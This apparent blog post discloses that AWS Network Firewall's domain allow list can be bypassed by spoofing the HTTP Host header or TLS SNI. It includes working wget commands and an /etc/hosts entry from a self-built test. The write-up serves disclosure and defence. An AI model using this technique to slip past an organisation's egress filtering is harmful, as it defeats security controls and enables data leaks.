AWS Network Firewall egress filtering can be easily bypassed
If you are thinking of or are already using AWS Network Firewall to control and filter egress traffic to only allow connections to approved destination sites, you need to read this post, as it may not work as you have thought.
AWS Network Firewall is a fully managed service that can work as an IDS/IPS device when injected into the middle of network traffic flow, e.g., between your workloads inside of your VPC and the Internet. There are words saying its implementation is based on the open source software Suricata IDS/IPS.
Enterprises usually control egress traffic to the Internet for security reasons and when on-prem, it is typically done by using proxy servers. The same security requirement also applies when it comes to securing workloads in the cloud, as most of the time the traffic from the cloud to the Internet does not go through on-prem network, so the traditional proxy servers deployed on-prem won’t be part of the solution.
To address this business need, AWS developed a fully managed service called AWS Network Firewall. According to its FAQ:
“AWS Network Firewall provides URL, IP address, and domain-based outbound traffic filtering to help you meet compliance requirements, stop potential data leaks, and block communication with known malware hosts.”
To make it easier for AWS admins, i.e., without learning how to write Suricata rules, AWS provided a feature called “Domain list” to control outbound HTTP and TLS traffic to destination web sites, by using an allow list or a deny list.
AWS also has a number of articles describing the use of such feature to control the egress traffic, for example:
- Use Network Firewall to capture the DNS domain names from the Server Name Indication (SNI) for outbound traffic
- Use AWS Network Firewall to filter outbound HTTPS traffic from applications hosted on Amazon EKS and collect hostnames provided by SNI
- Deploying egress traffic controls in production environments
However, what they did not mention, is that this control can be easily bypassed if no additional solution is implemented. Why? Because any determined entity inside of your VPC can easily spoof the destination host name in the outbound connection to the Internet, effectively bypassing Network Firewall’s egress domain list control.
Further examining their product documentation, it has one paragraph embedded and you have to be very careful while reading the manual:
“For HTTPS traffic, Network Firewall uses the Server Name Indication (SNI) extension in the TLS handshake to determine the hostname, or domain name, that the client is trying to connect to. For HTTP traffic, Network Firewall uses the HTTP host header to get the name. In both cases, Network Firewall doesn’t pause connections to do out-of-band DNS lookups. It uses the SNI or host header, not the IP addresses, when evaluating domain list rule groups. If you want to inspect IP addresses, to mitigate situations where the SNI or host headers have been manipulated, write separate rules for that and use them in conjunction with or in place of your domain list rules.”
So it looks like a known issue to AWS, but it was never made clear to us that this product limitation exists through various channels. And, what are the “write separate rules for that and use them in conjunction with or in place of your domain list rules”? I couldn’t find a sample of those rules in the product manual. Then I had to carefully read the Suricata’s product manual, and based on my understanding of the rules engine currently provided by Suricata 7.0.2-dev, I doubted it would be as simple as “write separate rules”.
As part of the security due diligence review, where time permits, I always try to think like a hacker and see if I can identify any weakness in a product’s design, and I did find some in the past few years, sometimes by just reading a product’s manual. I will recount some of the findings in my future posts.
So for this product, I decided to do a test and see how easily I can bypass its egress control by spoofing host name in HTTP or TLS traffic.
In order to make it easily comprehensible for an average audience, it would be best if a no-friction and end-to-end demo can be setup. Here is what I did:
An external web site – I set up a free VM instance in Oracle Cloud (yes, for personal use, I love their always free VMs and 10 TB free egress traffic every month, as of Sep 16, 2023). Inside of this VM, I use Ubuntu Linux and setup a simple Apache web site which serves all incoming HTTP/HTTPS traffic and ignoring the requested host name, as I need to spoof the host name in the test
Inside AWS VPC – EC2 -> AWS Network Firewall -> AWS NAT Gateway -> Internet Gateway. Whereas AWS Network Firewall has a domain list to only allow egress HTTP/TLS traffic to “www.redhat.com”
With this setup, obviously, connecting to any web sites other than “www.redhat.com” will be dropped by the AWS Network Firewall.
It is however, very easy to connect to my free VM’s web server, by spoofing the host name to “www.redhat.com”, but actually connecting to the IP address of my VM. This is because DNS/IP address resolution is performed on my EC2, not at the AWS Network Firewall.
- My EC2 is telling AWS Network Firewall: “Hey, I am connecting to IP x.x.x.x, and by the way, trust me its host name is www.redhat.com, please let me through”.
- AWS Network Firewall: “Yes sir, I trust you that you are only visiting http://www.redhat.com, all good sir”
The example below shows HTTP host spoofing, the IP address 129.153.x.x belongs to my VM (actual IP address masked):
ssm-user@ip-10-23-x-x:~$ wget -O - -d --header="Host: www.redhat.com" http://129.153.x.x
Setting --header (header) to Host: www.redhat.com
Setting --header (header) to Host: www.redhat.com
DEBUG output created by Wget 1.20.3 on linux-gnu.
Reading HSTS entries from /home/ssm-user/.wget-hsts
URI encoding = ‘UTF-8’
--2023-09-05 20:07:55-- http://129.153.x.x/
Connecting to 129.153.x.x:80... connected.
Created socket 3.
Releasing 0x000055bfdc505e20 (new refcount 0).
Deleting unused 0x000055bfdc505e20.
---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.redhat.com
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Date: Tue, 05 Sep 2023 20:07:56 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Tue, 05 Sep 2023 19:19:12 GMT
ETag: "43-604a1807a61fd"
Accept-Ranges: bytes
Content-Length: 67
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
---response end---
200 OK
Registered socket 3 for persistent reuse.
Length: 67 [text/html]
Saving to: ‘STDOUT’
- 0%[ ] 0 --.-KB/s <h1>Congrats! You have successfully breached the enermy line!</h1>
- 100%[========================================================================================================>] 67 --.-KB/s in 0s
2023-09-05 20:07:55 (8.05 MB/s) - written to stdout [67/67]
ssm-user@ip-10-23-x-x:~$The example below shows HTTPS host spoofing. Note the returned certificate is generated by my VM:
ssm-user@ip-10-23-x-x:~$ cat /etc/hosts
127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
129.153.x.x www.redhat.com
ssm-user@ip-10-23-x-x:~$ wget -d -O - --no-check-certificate https://www.redhat.com
Setting --output-document (outputdocument) to -
Setting --output-document (outputdocument) to -
Setting --check-certificate (checkcertificate) to 0
Setting --check-certificate (checkcertificate) to 0
DEBUG output created by Wget 1.20.3 on linux-gnu.
Reading HSTS entries from /home/ssm-user/.wget-hsts
URI encoding = ‘UTF-8’
--2023-09-05 20:20:47-- https://www.redhat.com/
Resolving www.redhat.com (www.redhat.com)... 129.153.x.x
Caching www.redhat.com => 129.153.x.x
Connecting to www.redhat.com (www.redhat.com)|129.153.x.x|:443... connected.
Created socket 3.
Releasing 0x000055a3bf680fe0 (new refcount 1).
Initiating SSL handshake.
Handshake successful; connected socket 3 to SSL handle 0x000055a3bf681dc0
certificate:
subject: CN=test
issuer: CN=test
WARNING: cannot verify www.redhat.com's certificate, issued by ‘CN=test’:
Self-signed certificate encountered.
WARNING: no certificate subject alternative name matches
requested host name ‘www.redhat.com’.
---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.redhat.com
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Date: Tue, 05 Sep 2023 20:20:48 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Tue, 05 Sep 2023 19:19:12 GMT
ETag: "43-604a1807a61fd"
Accept-Ranges: bytes
Content-Length: 67
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
---response end---
200 OK
Registered socket 3 for persistent reuse.
Length: 67 [text/html]
Saving to: ‘STDOUT’
- 0%[ ] 0 --.-KB/s <h1>Congrats! You have successfully breached the enermy line!</h1>
- 100%[========================================================================================================>] 67 --.-KB/s in 0s
2023-09-05 20:20:47 (3.47 MB/s) - written to stdout [67/67]
ssm-user@ip-10-23-x-x:~$I also tested by using Suricata rules instead of domain list, the test result is the same.
I contacted AWS support regarding this issue, and they referred me to this github repo called aws-network-firewall-automation-examples. The closest solution I can find in this repo is SFTP-FQDN which seems to use Lambda function to periodically perform DNS lookup on the destination host name and then update the firewall rules. This solution may work in certain scenarios but I can think of two caveats:
- The fully managed AWS service now needs a customer managed and developed add-on
- This solution only works on FQDN (complete host name) that can be predetermined. What if we do not know the FDQN ahead of time? For example what if we want to list any hosts under a specific subdomain? Or the hosts matching a RegEx naming convention?
Proxy servers typically don’t have this issue as they resolve host names at the proxy servers. So if you are thinking of replacing your proxy servers by using AWS Network Firewall, you probably want to think if it can achieve the same egress control that your proxy server is performing.